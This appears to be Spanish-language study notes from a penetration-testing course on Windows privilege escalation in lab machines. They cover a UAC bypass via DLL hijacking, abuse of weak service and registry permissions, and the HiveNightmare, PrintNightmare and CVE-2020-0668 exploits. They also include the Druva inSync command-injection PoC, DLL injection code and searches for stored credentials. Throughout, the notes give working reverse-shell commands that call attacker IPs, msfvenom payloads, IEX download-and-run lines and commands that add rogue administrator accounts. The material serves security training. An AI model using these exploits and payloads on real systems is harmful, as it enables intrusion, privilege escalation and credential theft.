curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
- Iniciamos el listener
nc -lvnp 8443
- Ejecutamos la dll maliciosa como prueba para ver si nos devuelve la shell:
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
- Obtenemos la shell con privs normales
nc -lnvp 8443
![[Pasted image 20260911151726.png]]
- De vuelta al objetivo eliminaremos las instancias del proceso rundll32 de la ejecucion anterior:
tasklist /svc | findstr "rundll32"
taskkill /PID NNNN /F
![[Pasted image 20260911152043.png]]
- Ejecutamos SystemPropertiesAdvanced.exe que bypassea el UAC y ejecuta nuestra dll maliciosa:
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
- Deberiamos recibir una shell con privs elevados en el listener anterior:
![[Pasted image 20260911152148.png]]
Ejemplo anterior
Siguiendo los pasos de esta seccion obten un reverse shell con privs normales y otra que bypasse el UAC y sube el contenido de la flag que se encuentra en Desktop de sarah al terminar
- Nos conectamos via RDP
![[Pasted image 20260911152443.png]]
- Miramos que usuario somos y si estamos en el grupo Administrators
![[Pasted image 20260911152531.png]]
- Comprobamos por linea de comandos si UAC esta habilitado y que nivel tiene. Tiene nivel 5. Tambien intentamos comprobarlo de forma manual via GUI
![[Pasted image 20260911152641.png]]
![[Pasted image 20260911152549.png]]
- Conseguimos la version del Windows. Usaremos para esta version la ejecucion del binario SystemPropertiesAdvanced.exe. Este es confiable por Windows y bypasea el UAC cargando una DLL la cual cambiaremos por una maliciosa
![[Pasted image 20260911152722.png]]
![[Pasted image 20260911152753.png]]
- Miramos las rutas que se encuentran en la variable PATH y vemos una en la que podemos escribir por lo que crearemos la DLL maliosa que carga el binario en esa ruta
![[Pasted image 20260911152900.png]]
- Creamos la DLL que contiene un reverse shell y la descargamos en la ruta del objetivo
![[Pasted image 20260911152943.png]]
![[Pasted image 20260911153027.png]]
- Ejecutamos la dll para ver si funciona y nos devuelve una shell sin privs elevados porque todo lo que se ejecuta es con privs estandar devido al UAC
![[Pasted image 20260911153107.png]]
![[Pasted image 20260911153131.png]]
- Terminamos todos los procesos que tengan que ver con la ejecucion de la DLL
![[Pasted image 20260911153226.png]]
- Ejecutamos el binario que bypasea el UAC y ejecuta la DLL maliciosa obteniendo una shell con privs elevados
![[Pasted image 20260911153250.png]]
![[Pasted image 20260911153331.png]]
- Obtenemos la flag
![[Pasted image 20260911153353.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 5. Atacando El So
2. Permisos Debiles
Estas fallas son relativamente infrecuentes en software de grandes proveedores pero suele ser comunes en software de terceros ya que estos software suelen descargarse con privs de SYSTEM
ACLs permisivas del sistema de archivos
Ejecutando SharpUP
SharpUp: busca binarios de servicios que sufran de ACLs debiles
.\SharpUp.exe audit
![[Pasted image 20260911154243.png]]
La herramienta identifico el serivicio PC Security Management Service, que ejecuta el binario SecurityService.exe
icacls: verificamos la vulnerabilidad y vemos que los grupos EVERYONE Y BULTIN\Users se les ha concedido permisos completo para el directorio y por lo tanto cualquier usuario puede manipular el directorio y su contenido
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
![[Pasted image 20260911154434.png]]
Reemplazamos el binario del serivicio. Primero hacemos una copia de seguridad y luego lo cambiamos por un binario creado con msfvenom. Si lo ejecuta un usuario con privs altos obtendremos una shell inversa con privs elevados
cmd /c copy /Y SecurityService.exe "C:\Program Files(x86)\PCProtect\SecurityService.exe"
sc start SecurityService o Start-Service SecurityService
![[Pasted image 20260911154644.png]]
Permisos de servicio debiles
Volvemos a revisar la salida de SharpUp en busca de servicios modificables y vemos WindscribeService
SharpUp.exe audit
![[Pasted image 20260911154737.png]]
Comprobamos los permisos con AccessChk el cual enumera permisos del serivcio (-q: omitir banner, -u: suprimir errores, -v: verbose, -c: especificar el nombre de un servicio Windows, -w: mostrar solo los objetos que tienen acceso de escritura). Vemos como todos los AUTHENTICATED USERS tienen SERVICE_ALL_ACCESS
accesschk.exe /accepteula -quvcw WindscribeService
![[Pasted image 20260911154949.png]]
Comprobamos el grupo de administradores para confirmar que nosotros no estamos:
net localgroup administrators
![[Pasted image 20260911155019.png]]
Cambiamos la ruta del binario del servicio haciendo que la ruta sea un comando de una linea que nos añada en el grupo administrators:
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
![[Pasted image 20260911155117.png]]
Detenemos el servicio:
sc stop WindscribeService
![[Pasted image 20260911155146.png]]
Iniciamos el servicio:
sc start WindscribeService
![[Pasted image 20260911155205.png]]
Confirmamos que fuimos añadidos:
net localgroup administrators
![[Pasted image 20260911155230.png]]
Limpieza
Revirtiendo ruta del binario:
sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"
![[Pasted image 20260911155303.png]]
Inicindo el serivicio de nuevo:
sc start WindScribeService
![[Pasted image 20260911155323.png]]
Verificamos que el serivicio se este ejecutando:
sc query WindScribeService
![[Pasted image 20260911155345.png]]
Rutas de servicio sin comillas
Cuando se instala un servicio se especifica una ruta del binario ejecutable de ese servicio. Si este no tiene comillas se buscara en el siguente orden:
C:\Program
C:\Program Files
C:\Program Files (x86)\System
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64
- Consultando el serivicio
sc qc SystemExplorerHelpService
![[Pasted image 20260911155803.png]]
Si pudieramos crear los archivos C:\Program.exe y C:\Program Files (x86)\System.exe podriamos secuestrar el binario y obtener ejecucion de comandos en contexto del servicio pero crear archivos en C:\ requiere de privs administrativos
- Buscando rutas de servicios sin comillas
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
![[Pasted image 20260911160051.png]]
ACLs permisivas del registro
- Buscando ACLs de servicio debiles en el registro:
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
![[Pasted image 20260911160200.png]]
- Cambiando el ImagePath por Powershell:
C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
Binario autorun modificable en el registro
- Comprobar programas de inicio:
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
![[Pasted image 20260911160325.png]]
Si tenemos permisos de escritura en el registro para un binario o podemos sobreescribir un binario podriamos escalar privs a otro usuario la proxima vez que inicie sesion
Ejemplo practico
Escala privilegios en el objetivo usando las tecnicas demostradas. Sube la flag que esta en el Desktop de Administrators dentro de WeakPerms
- Tras conectarnos via RDP miramos que binarios de serivicios son vulns
![[Pasted image 20260911160904.png]]
- Encontramos dos pero nos centraremos en el Service Binaries
![[Pasted image 20260911160940.png]]
- Creamos un exe que sustituira el binario del servicio y contiene una reverse shell. Lo cargamos en el host objetivo
![[Pasted image 20260911161326.png]]
![[Pasted image 20260911161337.png]]
- Lo sustituimos, abrimos un listener y comenzamos el servio
![[Pasted image 20260911161956.png]]
- Obtenemso una shell con privs de NT AUTHORITY\SYSTEM y obtenemos la flag
![[Pasted image 20260911162020.png]]
![[Pasted image 20260911162241.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 5. Atacando El So
3. Exploits Del Kernel
https://academy.hackthebox.com/app/module/67/section/627 - Lista de vulns por SO Windows
CVE-2021-36934 HiveNightmare, aka SeriousSam es un fallo de Windows 10 que resulta en que CUALQUIER usuario tenga derechos para leer el registro de Windows y acceder a información sensible. (PoC) para permitir la lectura de los hives del registro SAM, SYSTEM y SECURITY y crear copias de ellos para procesarlos fuera de línea más tarde y extraer los hashes de contraseñas
este binario de exploit
Este script puede usarse para detectar el fallo
- Comporbar permisos en el archivo SAM y vemos que es legible por el grupo BULTIN\Users
icacls c:\Windows\System32\config\SAM
![[Pasted image 20260911171145.png]]
Se necesitan una o mas instantaneas de volumen (shadow copies). Windows 10 tiene habilitado Proteccion del sistema que crea copias seguras
2. PoC que puede usarse para realizar el ataque:
.\HiveNightmare.exe
![[Pasted image 20260911171312.png]]
- Transferimos las credenciales a nuestro host de ataque y usamos secretsdump
impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local
![[Pasted image 20260911171348.png]]
CVE-2021-1675/CVE-2021-34527 PrintNightmare es un fallo en RpcAddPrinterDriver que se utiliza para permitir la impresión remota y la instalación de controladores. Esta función está destinada a dar a los usuarios con el privilegio de Windows SeLoadDriverPrivilege
El fallo permitía a cualquier usuario autenticado agregar un controlador de impresión a un sistema Windows sin tener el privilegio mencionado anteriormente, lo que permitía a un atacante la ejecución remota de código completa como SYSTEM
- Script se puede usar para ejecutar una DLL maliciosa de forma remota o local usando una versión modificada de Impacket
- Esta implementación de PowerShell se puede usar para una rápida escalada de privilegios local
- Comprobando el servicio Spooler
ls \\localhost\pipe\spoolss
![[Pasted image 20260911171712.png]]
- Añadiendo un administrador local con el PoC de PS para PrintNightmare
Set-ExecutionPolicy Bypass -Scope Process
![[Pasted image 20260911171843.png]]
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
![[Pasted image 20260911171905.png]]
- Confirmando nuevo usuario administrativo
net user hacker
![[Pasted image 20260911171938.png]]
Enumerando parches faltantes
- Examinamos las actualizaciones instaladas
systeminfo
wmic qfe list brief
Get-Hotfix
![[Pasted image 20260911172036.png]]
Podemos buscar cada KB en Catálogo de Microsoft Update para tener una mejor idea de que correcciones se han instalado. Buscando KB5000808 vimos que la actualizacion es de 2021 por lo que podria estar desactualizado
Ejemplo CVE-2020-0668
Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege Vulnerability, explota una vulnerabilidad de movimiento arbitrario de archivos aprovechando el Windows Service Tracing
Establecer un valor personalizado de MaxFileSize que sea más pequeño que el tamaño del archivo hace que el archivo sea renombrado con una extensión .OLD cuando se activa el servicio. Esta operación de movimiento es realizada por NT AUTHORITY\SYSTEM, y puede ser abusada para mover un archivo de nuestra elección con la ayuda
- Comprobando privs actuales
whoami /priv
![[Pasted image 20260911172411.png]]
- Exploit: descargar, abrir en VS compilar y creara los siguientes archivos:
![[Pasted image 20260911172501.png]]
Podemos usar el exploit para crear un archivo de nuestra eleccion en una carpeta protegida. No podemos sobreescribir ningun archivo protegido. Para hacer la escritura necesitariamos encadenarlo a otra vuln como UseDllLoader o DiagHub para cargar la DLL y escalar privs o usar un sw de tercero como Mozilla Maintenance Service ya que este servicio se ejecuta como SYSTEM y puede ser iniciado por usuarios sin privs
3. Comprobando los permisos del binario
icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
![[Pasted image 20260911172915.png]]
- Generando el binario malicioso
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe
![[Pasted image 20260911172941.png]]
- Alojando el binario malicioso:
python3 -m http.server 8080
![[Pasted image 20260911173009.png]]
- Descargandolo (necesitamos 2 copias ya que ejecutar el exploit corrompe la version maliciosa)
wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe
wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe
- Ejecutar el exploit
C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
![[Pasted image 20260911173145.png]]
- Comprobando los permisos del nuevo archivo
icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'
![[Pasted image 20260911173213.png]]
- Reemplazando el archivo con el binario malicioso
copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
![[Pasted image 20260911173248.png]]
- Abrimos un listener de MSF
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
![[Pasted image 20260911173334.png]]
- Iniciamos el servicio
net start MozillaMaintenance
![[Pasted image 20260911173402.png]]
- Recibimos la sesion en Meterpreter
![[Pasted image 20260911173424.png]]
Ejemplo practico
Trata uno de los 3 ejemplos de la seccion para escalar privs a SYSTEM y sube la flag de Desktop en Administrator
- Nos conectamos via RDP
![[Pasted image 20260911173656.png]]
- Miramos si se encuentra el servicio Spooler
![[Pasted image 20260911173919.png]]
- Bypasseamos el ExecutionPolicy
![[Pasted image 20260911173934.png]]
- Usamos el exploit .ps1 de Nightmare para crear un usuario con privs administrativos ya que el Servicio se ejecuta con privs SYSTEM
![[Pasted image 20260911173948.png]]![[Pasted image 20260911173959.png]]
- Nos conectamos via RDP y creamos un PS con privs admin para leer la flag
![[Pasted image 20260911174709.png]]
![[Pasted image 20260911174434.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 5. Atacando El So
4. Servicios Vulnerables
Es posible poder escalar privs en sistemas bien parcheados si permiten a los usuarios descargar sw o si se usan aplicaciones de 3 vulnerables
- Enumerar programas instalados:
wmic product get name
![[Pasted image 20260912125221.png]]
Vemos un resultado mayormente estandar pero destaca la aplicaciones Druva inSync v6.6.3 usada para realizar copias de seguridad integradas. Tras buscarla por google vemos que es vulnerable a un ataque de inyeccion de comandos
Este exploit lo podemos usar para escalar privs. La aplicacion se ejecuta en contexto de NT AUTHORITY\SYSTEM
- Enumerar puertos locales, vemos el puerto 6064 que no esc omun:
netstat -ano | findstr 6064
![[Pasted image 20260912125621.png]]
- Enumerar el ID del proceso y vemos que efectivamente pertenece a inSync
get-process -Id 3324
![[Pasted image 20260912125648.png]]
- Enumerar el servicio en ejecucion:
get-service | ? {$_.DisplayName -like 'Druva*'}
![[Pasted image 20260912125930.png]]
Ejemplo de escalada de privs locales con Druva inSync
Ya tenemos el PoC:
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp )
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
![[Pasted image 20260912130114.png]]
- Modificando el PoC. Modificaremos la variable $cmd con el comando que queramos (podemos crear un usuario admin o una reverse shell)
Vamos a descargar Invoke-PowerShellTcp.ps1 en nuestra maquina atacante y lo renombramos como shell.ps1. Al abrirlo debemos añadir al final:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443
Abrimos un listener HTTP en nuestra maquina:
python3 -m http.server 8080
Modificamos el PoC $cmd para que lo descargue desde nuestro servidor Python HTTP:
$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.3:8080/shell.ps1')"
- Tras cambiar el PoC abrimos un listener en nuestra maquina y ejecutamos el PoC (Si no nos deja ejecutar comandos podemos usar primero
Set-ExecutionPolicy Bypass -Scope Process)
![[Pasted image 20260912130643.png]]
Ejemplo practico
Realiza los pasos para la escalada de privilegios en el sistema usando Druva inSync y sube el contenido de la flag en Administrator\Desktop\VulnServices
- Nos conectamos via RDP al sistema
![[Pasted image 20260912131055.png]]
- Miramos a ver las aplicaciones que estan instaladas y vemos una de un 3 que nos llama la atencion
![[Pasted image 20260912131348.png]]
- Miramos los puertos que estan levantados localmente y mirando uno de los que esta listening y established encontramos que era el de Druva inSync (ademas podemos buscar en Internet cual es su puerto default)
![[Pasted image 20260912131537.png]]
![[Pasted image 20260912131614.png]]
- Descargamos lo que sera shell.ps1 y lo modificamos con una linea al final que nos mandara la reverse shell a nuestra IP y puerto
![[Pasted image 20260912131924.png]]
![[Pasted image 20260912132524.png]]
- Lo renombramos y abrimos un servidor HTTP para descargarlo en el host objetivo
![[Pasted image 20260912132108.png]]
- Tras descargarlo tenemos que modificar el script Druva (el PoC) para que apunte a nuestra IP y pueda descargar el shell.ps1 una vez que se ejecute el PoC
![[Pasted image 20260912132052.png]]
- Levantamos un listener para poder recibir el shell
![[Pasted image 20260912132156.png]]
- Lo ejecutamos y recibimos un shell con privs SYSTEM
![[Pasted image 20260912132557.png]]
![[Pasted image 20260912132612.png]]![[Pasted image 20260912132738.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 5. Atacando El So
5. Inyeccion De Dll
Consisten en insertar un fragmento de codigo (estructurado como una biblioteca de enlace dinamico DLL) en un proceso en ejecucion permitiendo que el codigo DLL se ejecute en contexto del proceso influyendo en su comportamiento o accediendo a sus recursos
Existen varios metodos diferentes. Esto lo suelen usar los desarrolladores para el HotPatching
LoadLibrary
Metedo que emplea la API LoadLibrary para cargar la DLL en el espacio de direcciones del proceso objetivo
Esta API es una funcion proporcionada por el SO Windows que carga una DLL en la memoria del proceso y devuelve un handle que puede usarse para obtener las direcciones de las funciones
Ejemplo de como usar LoadLibrary para cargar una DLL en el proceso actual de forma legitima:
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary to load a DLL into the current process
HMODULE hModule = LoadLibrary("example.dll");
if (hModule == NULL) {
printf("Failed to load example.dll\n");
return -1;
}
printf("Successfully loaded example.dll\n");
return 0;
}
![[Pasted image 20260912133944.png]]
Ejemplo de como usar LoadLibrary para la inyeccion de una DLL donde implica asignar memoria dentro del proceso objetivo para la ruta de la DLL y tras esto iniciar un hilo remoto que comienza en LoadLibrary y apunta a la ruta de la DLL:
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary for DLL injection
// First, we need to get a handle to the target process
DWORD targetProcessId = 123456 // The ID of the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
printf("Failed to open target process\n");
return -1;
}
// Next, we need to allocate memory in the target process for the DLL path
LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddressInRemoteMemory == NULL) {
printf("Failed to allocate memory in target process\n");
return -1;
}
// Write the DLL path to the allocated memory in the target process
BOOL succeededWriting = WriteProcessMemory(hProcess, dllPathAddressInRemoteMemory, dllPath, strlen(dllPath), NULL);
if (!succeededWriting) {
printf("Failed to write DLL path to target process\n");
return -1;
}
// Get the address of LoadLibrary in kernel32.dll
LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadLibraryAddress == NULL) {
printf("Failed to get address of LoadLibraryA\n");
return -1;
}
// Create a remote thread in the target process that starts at LoadLibrary and points to the DLL path
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAddressInRemoteMemory, 0, NULL);
if (hThread == NULL) {
printf("Failed to create remote thread in target process\n");
return -1;
}
printf("Successfully injected example.dll into target process\n");
return 0;
}
Mapeo manual
Metodo de inyeccion DLL muy complejo y avanzado en que se carga manualmente una DLL en la memoria de un proceso y resuelve sus importaciones y reubicaciones y evita ser detectado facilmente al no usar LoadLibrary
Esquema simplificado:
- Cargar DLL como datos brutos en el proceso inyector
- Mapear las secciones de la DLL en el proceso objetivo
- Inyectar shellcode en el proceso objetivo y ejecutarlo
- Este
shellcode reubica la DLL, rectifica las importaciones, ejecuta las callbacks de Almacenamiento Local de Hilo (TLS) y, finalmente, llama al DLL main
Inyeccion de DLL Reflexiva
Tecnica que se usa en programacion reflexiva para cargar una biblioteca desde la memoria en un proceso anfitrion. La propia biblioteca es responsable de su proceso de carga implementando un cargador de archvios PE minimo permitiendo decidir como se cargara e interactuara con el anfitrion
Primero la biblioteca que se quiere inyectar se debe escribir en el espacio de direcciones del proceso objetivo. Segundo, la biblioteca debe cargarse en el proceso anfitrion para cumplir con las expectativas de tiempo de ejecucion
Suponiendo que tenemos ejecucion de codigo en el proceso anfitrion y que la biblioteca que pretendemos inyectar ha sido escrita en una ubicacion de memoria arbitraria en el proceso anfitrion la Inyeccion DLL Reflexiva funcionaria asi:
- El control de ejecucion se transfiere a la funcion
ReflectiveLoader de la biblioteca (se encuentra en la tabla de exportacion de la biblioteca) y puede ocurrir a traves de CreateRemoteThread() o de un shellcode
- Como la imagen de la biblioteca reside actualmente en una ubicación de memoria arbitraria, el
ReflectiveLoader calcula inicialmente la ubicación de memoria actual de su propia imagen para analizar sus propias cabeceras para su uso posterior.
- El
ReflectiveLoader analiza entonces la tabla de exportación del kernel32.dll del proceso anfitrión para calcular las direcciones de tres funciones necesarias para el cargador, a saber, LoadLibraryA, GetProcAddress y VirtualAlloc
- El
ReflectiveLoader ahora asigna una región de memoria continua donde procederá a cargar su propia imagen. La ubicación no es crucial; el cargador reubicará correctamente la imagen más tarde.
- Las cabeceras y secciones de la biblioteca se cargan en sus nuevas ubicaciones de memoria.
- El
ReflectiveLoader procesa entonces la tabla de importación de la copia recién cargada de su imagen, cargando cualquier biblioteca adicional y resolviendo las direcciones de sus respectivas funciones importadas.
- El
ReflectiveLoader procesa entonces la tabla de reubicación de la copia recién cargada de su imagen.
- El
ReflectiveLoader llama entonces a la función de punto de entrada de su imagen recién cargada, DllMain, con DLL_PROCESS_ATTACH. La biblioteca ha sido cargada con éxito en la memoria.
- Finalmente, el
ReflectiveLoader devuelve la ejecución al shellcode de arranque inicial que lo llamó, o si fue llamado a través de CreateRemoteThread, el hilo terminaría.“
Secuestro de DLL
Tecnica de explotacion en la que un atacante se aprovecha del proceso de carga de DLL de Windows. Estas DLL se pueden cargar en tiempo de ejecucion lo que crea una opotunidad de secuestro si una aplicacion no especifica la ruta completa a la DLL requerida
Orden de busqueda de la DLL depende de si esta activado Modo de Busqueda Segura de DLL. Si esta activado, el modo de busqueda reposiciona el directorio actual del usuario mas abajo en el orden de busqueda
Es facil habilitar o deshabilitar este modo de busqueda:
- Windows + R
- Escribe
Regedit y nos lleva al Editor de registros
- Vamos hasta
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager
- En el panel derecho buscamos el valor
SafeDllSearchMode. Si no existe hacemos click derecho en espacio en blanco o en la carpeta SessionManager, seleccionamos Nuevo y luego Valor de DWORD (32 bits) y nombramos este nuevo valor como SafeDllSearchMode
- Haz doble click en
SafeDllSearchMode y en el cmapo de informacion del valor ponemos 1 para habilitar o 0 para deshabilitar
- Damos OK y cerramos. Reinicia el sistema para que los cambios tengan efecto
Si esta habilitado la busqueda de la DLL sera:
- El directorio desde el que se carga la aplicación.
- El directorio del sistema.
- El directorio del sistema de 16 bits.
- El directorio de Windows.
- El directorio actual.
- Los directorios que se enumeran en la variable de entorno PATH.
Pero con el deshabilitado sera:
- El directorio desde el que se carga la aplicación.
- El directorio actual.
- El directorio del sistema.
- El directorio del sistema de 16 bits.
- El directorio de Windows.
- Los directorios que se enumeran en la variable de entorno PATH.
Para el secuestro de la DLL necesitamos primero identificar la DLL que el objetivo esta intentando encontrar. Herramientas como Process Explorer y PE Explorer facilitan la busqueda
Tras identificarla tenemos que saber que funciones modificar por lo que tendremos que hacer ingenieria inversa. Tras encontrarla construimos una DLL
Ejemplo de DLL:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>
typedef int (*AddFunc)(int, int);
int readIntegerInput() {
int value;
char input[100];
bool isValid = false;
while (!isValid) {
fgets(input, sizeof(input), stdin);
if (sscanf(input, "%d", &value) == 1) {
isValid = true;
} else {
printf("Invalid input. Please enter an integer: ");
}
}
return value;
}
int main() {
HMODULE hLibrary = LoadLibrary("library.dll");
if (hLibrary == NULL) {
printf("Failed to load library.dll\n");
return 1;
}
AddFunc add = (AddFunc)GetProcAddress(hLibrary, "Add");
if (add == NULL) {
printf("Failed to locate the 'Add' function\n");
FreeLibrary(hLibrary);
return 1;
}
HMODULE hLibrary = LoadLibrary("x.dll");
printf("Enter the first number: ");
int a = readIntegerInput();
printf("Enter the second number: ");
int b = readIntegerInput();
int result = add(a, b);
printf("The sum of %d and %d is %d\n", a, b, result);
FreeLibrary(hLibrary);
system("pause");
return 0;
}
Carga una función add desde library.dll y utiliza esta función para sumar dos números. Posteriormente, imprime el resultado de la suma. Al examinar el programa en Process Monitor (procmon), podemos observar el proceso de carga de library.dll ubicada en el mismo directorio.
Primero, configuremos un filtro en procmon para incluir únicamente main.exe, que es el nombre del proceso del programa. Este filtro nos ayudará a centrarnos específicamente en las actividades relacionadas con la ejecución de main.exe. Es importante tener en cuenta que procmon solo captura información mientras se está ejecutando activamente. Por lo tanto, si tu registro aparece vacío, debes cerrar main.exe y volver a abrirlo mientras procmon está en ejecución. Esto asegurará que la información necesaria sea capturada y esté disponible para su análisis.
![[Pasted image 20260912140733.png]]
Luego, si te desplazas hasta el final, puedes ver la llamada para cargar library.dll
![[Pasted image 20260912140748.png]]
Podemos filtrar aún más por una Operation de Load Image para obtener solo las bibliotecas que la aplicación está cargando.
![[Pasted image 20260912140803.png]]
Proxying
Crearemos una nueva biblioteca que cargará la función Add desde library.dll, la manipulará y luego la devolverá a main.exe.
- Crear una nueva biblioteca: Crearemos una nueva biblioteca que servirá como proxy para
library.dll. Esta biblioteca contendrá el código necesario para cargar la función Add desde library.dll y realizar la manipulación requerida.
- Cargar la función
Add: Dentro de la nueva biblioteca, cargaremos la función Add desde la library.dll original. Esto nos permitirá acceder a la función original.
- Manipular la función: Una vez que la función
Add esté cargada, podremos aplicar la manipulación o modificaciones deseadas a su resultado. En este caso, simplemente vamos a modificar el resultado de la suma, para añadir + 1 al resultado.
- Devolver la función modificada: Después de completar el proceso de manipulación, devolveremos la función
Add modificada desde la nueva biblioteca a main.exe. Esto asegurará que cuando main.exe llame a la función Add, ejecutará la versión modificada con los cambios previstos.
El código es el siguiente:
// tamper.c
#include <stdio.h>
#include <Windows.h>
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else #define DLL_EXPORT
#endif
typedef int (*AddFunc)(int, int);
DLL_EXPORT int Add(int a, int b)
{
// Load the original library containing the Add function
HMODULE originalLibrary = LoadLibraryA("library.o.dll");
if (originalLibrary != NULL)
{
// Get the address of the original Add function from the library AddFunc
original
Add = (AddFunc)GetProcAddress(originalLibrary, "Add");
if (originalAdd != NULL)
{
printf("============ HIJACKED ============\n");
// Call the original Add function with the provided arguments
int result = originalAdd(a, b);
// Tamper with the result by adding +1
printf("= Adding 1 to the sum to be evil\n");
result += 1;
printf("============ RETURN ============\n");
// Return the tampered result return result;
}
}
// Return -1 if the original library or function cannot be loaded
return -1;
}
Compílalo o utiliza la versión precompilada proporcionada. Renombra library.dll a library.o.dll, y renombra tamper.dll a library.dll.
Al ejecutar main.exe se muestra el hackeo exitoso.
![[Pasted image 20260912140922.png]]
Bibliotecas no validas
Otra opción para ejecutar un ataque de secuestro de DLL es reemplazar una biblioteca válida que el programa intenta cargar pero no encuentra por una biblioteca manipulada. Si cambiamos el filtro de procmon para centrarnos en las entradas cuya ruta termina en .dll y tienen un estado de NAME NOT FOUND, podemos encontrar dichas bibliotecas en main.exe
![[Pasted image 20260912141251.png]]
Como sabemos, main.exe busca en muchas ubicaciones x.dll, pero no la encuentra en ninguna parte. La entrada que nos interesa particularmente es:
![[Pasted image 20260912141307.png]]
Donde está buscando cargar x.dll desde el directorio de la aplicación. Podemos aprovechar esto y cargar nuestro propio código, con muy poco contexto de lo que está buscando en x.dll.
#include <stdio.h>
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
printf("Hijacked... Oops...\n");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Este código define una función de punto de entrada de DLL llamada DllMain que es llamada automáticamente por Windows cuando la DLL se carga en un proceso. Cuando la biblioteca se carga, simplemente imprimirá Hijacked... Oops... en la terminal, pero teóricamente podrías hacer cualquier cosa aquí.
Compílalo o utiliza la versión precompilada proporcionada. Renombra hijack.dll a x.dll y ejecuta main.exe.
![[Pasted image 20260912141355.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 6. Robo De Credenciales
1. Busqueda De Credenciales
Archivos de configuracion
- Busqueda de archivos (muchas aplicaciones guardan contraseñas en texto plano en archivos de conf y otros)
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
La informacion sensible de IIS puede estar en archivos como web.config que suele estar ubicado en su webroot (C:\inetpub\wwwroot\web.config), aunque puede haber multiples ubicaciones
Archivos de diccionario
Las palabras basadas en navegador y otras aplicaciones subrayan palabras desconocidas en rojo. Es posible que el usuario haya metido sus credenciales en el diccionario para que no se subrayen en rojo
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
![[Pasted image 20260912153103.png]]
Archivos de instalacion desatendida
Pueden definir configuraciones de inicio de sesion automatico o cuentas adicionales que crean como parte de la instalacion. Un ejemplo es el archivo unnatend.xml de muestra que guarda las contraseñas en texto plano:
![[Pasted image 20260912153214.png]]
Estos suelen borrarse durante la instalacion pero los admins pueden haber creado una copia
Archivo de historial de PS
- C:\Users\<\username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_hist
- Confirmando la ruta de guardado de historial de PS:
